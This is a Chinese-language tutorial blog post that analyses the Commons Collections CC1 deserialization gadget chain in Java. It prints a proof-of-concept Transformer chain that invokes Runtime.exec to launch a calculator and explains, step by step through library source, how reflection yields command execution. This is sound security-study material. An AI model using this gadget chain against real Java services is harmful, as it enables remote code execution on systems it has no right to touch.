java cc1链Transform

java cc1链Transform

参考
白日梦组长
先知社区
王嘟嘟

环境搭建 按照先知社区的链接搭建环境即可,注意事项 oracle官网可能会出现版本和下载不对应(刷新几次或者更换vpn),openjdk显示502(更换vpn或者过一段时间在访问即可),添加源路径后仍是class反编译(看修改的源路径是否为对应jdk版本路径下),下载对应版本jdk后,在对应路径安装完运行环境后,即可暂停java安装程序的运行,毕竟只需要jdk环境。

建议先看完白日梦组长的反序列化基础视频,然后再看cc链1即可,本篇只分析poc的运行。

poc

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class)

打断点进行调试,首先进入ChainedTransformer方法

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

ChainedTransformer接受一个Transformer数组,并赋值给iTransformers,进入ChainedTransformer.transform方法

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

这里获取iTransformers的值进行递归调用,iTransformers的值为上文数组中的内容,

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"}),

那么ChainedTransformer.transform方法就变为了

object = new ConstantTransformer(Runtime.class).transform(object)
object = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(object)
object = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(object)
object = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"}).transform(object)

进入ConstantTransformerConstantTransformer.transform方法

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

接受参数,返回原本参数,运行完之后,这里的Object.class变为了Runtime.class,然后进入InvokerTransformerInvokerTransformer.transform方法中

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

InvokerTransformer方法接受string参数,class数组,object数组,由于ConstantTransformer.transform方法运行完之后,已经把这里的input变为Runtime.class,进入InvokerTransformer.transform方法执行正常的反射调用进而执行命令,
正常的反射方法,这里是因为getRuntime无法进行序列化操作,使用反射调用getRuntime

Class r=Runtime.class;
Method a=r.getMethod("getRuntime",null);
Runtime b= (Runtime) a.invoke(null,null);
Method c=r.getMethod("exec",String.class);
c.invoke(b,"calc");

但实际上InvokerTransformer.transform中的method.invoke(input, iArgs)不是之前的cls而是input

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
method.invoke(input, iArgs)

反射在这里可以理解为,在input类里运行iMethodName,传递的参数为iArgs
传入的为Runtime.class,实际上的运行程序为

    Class a= Runtime.class;
    Class b=a.getClass();
    Method method = b.getMethod("getMethod",String.class, Class[].class);
    Object diyiceng = method.invoke(a,  "getRuntime",null);
    Class c=diyiceng.getClass();
    Method method1 =c.getMethod("invoke",Object.class, Object[].class);
    Object dierceng = method1.invoke(diyiceng,  null,null);
    Class d=dierceng.getClass();
    Method method2 =d.getMethod("exec",String.class);
    method2.invoke(dierceng,  "calc");
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值